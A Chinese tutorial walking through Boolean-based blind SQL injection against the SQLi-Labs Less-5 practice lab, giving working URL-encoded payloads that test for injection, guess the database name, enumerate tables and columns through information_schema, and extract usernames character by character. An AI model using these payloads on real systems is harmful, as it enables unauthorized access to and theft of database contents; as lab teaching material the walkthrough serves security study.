什么是Boolean型注入

Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通过此来获取数据库中的数据。

Boolean型注入实战

这儿以SQLi-Labs less5来进行演示Boolean型盲注实战。

首先查看是否存在注入点

构造payload  http://43.247.91.228:84/Less-5/?id=1

加个单引号  http://43.247.91.228:84/Less-5/?id=1'

数据库报错说明存在注入点

接下来来看看数据库的长度,构造payload  http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=1%23

页面回显不正常,在进行尝试到8时回显正常

payload  http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=8%23

回显正常说明数据库长度为8

猜测数据库的第一位

payload http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

回显正常,说明数据库第一个字母大于a,然后再试后面的字母和数字(可以用二分法来节约时间)最后确定第一位为s。

再猜测数据库的第二位

构造payload为 http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

说明第二位大于a,在进行测试,得到第二位为e。

得到database()=security

然后来获取这个数据库下的第一个表的第一个字段

http://43.247.91.228:84/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

第一个为e,继续操作得到表名为email

接着获取第二个表,将limit0,1改为limit1,1,查询出第二个表为referers

重复这个步骤,获取所有表的名字。

然后使用regexp来获取user中的列

http://43.247.91.228:84/Less-5/?id=1%27and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

回显正常说明表中有us开头的列

http://43.247.91.228:84/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^username%27%20limit%200,1)--+

说明有username存在,然后在查询password等其他的列。

然后再来获取users表的内容

http://43.247.91.228:84/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

试出了username第一行的第一个字符ascii为68,即为D,然后继续查询第一行数据为Dumb。

再用这个方法查询其他列获得数据,便可完成注入。

盲注的过程比较繁琐,手工实现的话比较费时间,我们可以通过写脚本来实现盲注。

但是对于盲注的原理我们还是要深入理解的。

SQL注入之Boolean型盲注的更多相关文章

  1. Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...

  2. 【Python】测试布尔型盲注脚本

    sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...

  3. 大哥带我们的mysql注入 基于时间的盲注

    ?id= and ,,sleep()) ?id= and ,,sleep()) if语句/if()函数 在基于时间型SQL盲注中,我们经常使用条件语句来判断我们的操作是否正确: ?id= and = ...

  4. SQL注入(字符型)

       靶场:sqli-labs @SQLi最重要的一点:别上来就对着输入框注入,完整语句写出来,始终在语句中写完整的,最后把完整的一部分截取出来作为输入 @URL编码:为避免歧义,URL中,如 %2b ...

  5. SQL注入(bool型)

    sqli-labs 靶场https://blog.csdn.net/qq_41420747/article/details/81836327 教程+靶场 1. https://blog.csdn.ne ...

  6. 网站SQL注入之数字型注入和字符型注入

    什么是SQL注入- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击.1,是一种将SQL语句插入或添加到应用(用户)的 ...

  7. 大哥带我们的mysql注入 基于bool的盲注

    盲注 那么我们来了解一点盲注的语法 这里面是语法的介绍 https://blog.csdn.net/alex_seo/article/details/82148955 0X01第一步我们先判断当前数据 ...

  8. 【sqli-labs】 less16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

    ' or 1=1# -->失败 1" or 1=1# -->失败 1') or 1=1# -->失败 1") or 1=1# -->成功 判断为双引号变形注 ...

  9. web安全之sql注入报错型注入

    前提: echo mysql_error(),输出错误信息. 熟悉的函数: floor()向下取整 concat()返回的字符串参数连接的结果 count()函数返回匹配指定条件的行数 rand()函 ...

随机推荐

  1. Jupyternotebook添加c++核心支持的配置过程

    一.环境:虚拟机:(1)系统:centos7.5_1804(64bit)版本(2)软件环境:git.python3.5.3.Jupyter4.4.0二.下载安装脚本:资源及安装说明:https://g ...

  2. Rocket - devices - CanHaveBuiltInDevices

    https://mp.weixin.qq.com/s/C9iktVr4hnQ8lM0CiWtedQ 简单介绍CanHaveBuiltInDevices的实现. 1. HasBuiltInDeviceP ...

  3. AUTOSAR-软件规范文档中的UML

    https://mp.weixin.qq.com/s/vm5vWNSpbNIYh25-LjJfYg   AUTOSAR软件规范文档中存在两种UML图: Sequence diagrams Config ...

  4. css引入方式和基本样式

    css的三种引入方式: 1.内嵌:直接在标签中添加style属性 格式:<标签名 style="样式1:样式值1:样式2=样式值2:"></标签名> 2.内 ...

  5. Java实现 LeetCode 667 优美的排列 II(暴力)

    667. 优美的排列 II 给定两个整数 n 和 k,你需要实现一个数组,这个数组包含从 1 到 n 的 n 个不同整数,同时满足以下条件: ① 如果这个数组是 [a1, a2, a3, - , an ...

  6. Java实现 LeetCode 435 无重叠区间

    435. 无重叠区间 给定一个区间的集合,找到需要移除区间的最小数量,使剩余区间互不重叠. 注意: 可以认为区间的终点总是大于它的起点. 区间 [1,2] 和 [2,3] 的边界相互"接触& ...

  7. Java实现背包问题

    1 问题描述 给定n个重量为w1,w2,w3,-,wn,价值为v1,v2,-,vn的物品和一个承重为W的背包,求这些物品中最有价值的子集(PS:每一个物品要么选一次,要么不选),并且要能够装到背包. ...

  8. Linux链接命令及软链接、硬链接详解

    命令ln详解 命令ln,所在路径为: 可以看到,它的路径为:/usr/bin/ln,因此,它的执行权限是所有用户 命令的基本功能是创建链接文件(硬链接),例如:ln /etc/issue /tmp 选 ...

  9. JSP+SSM+Mysql实现的学生成绩管理系统

    项目简介 项目来源于:https://gitee.com/z77z/StuSystem 本系统是基于JSP+SSM+Mysql实现的学生成绩管理系统.主要实现的功能有教师管理.学生管理.课程管理.学生 ...

  10. Linux内核配置编译及基本调试方法

    一.Linux内核配置编译 1. 交叉编译设置:make ARCH=arm CROSS_COMPILE=arm-linux- 注:也可以直接修改顶层Makefile ARCH ?= arm CROSS ...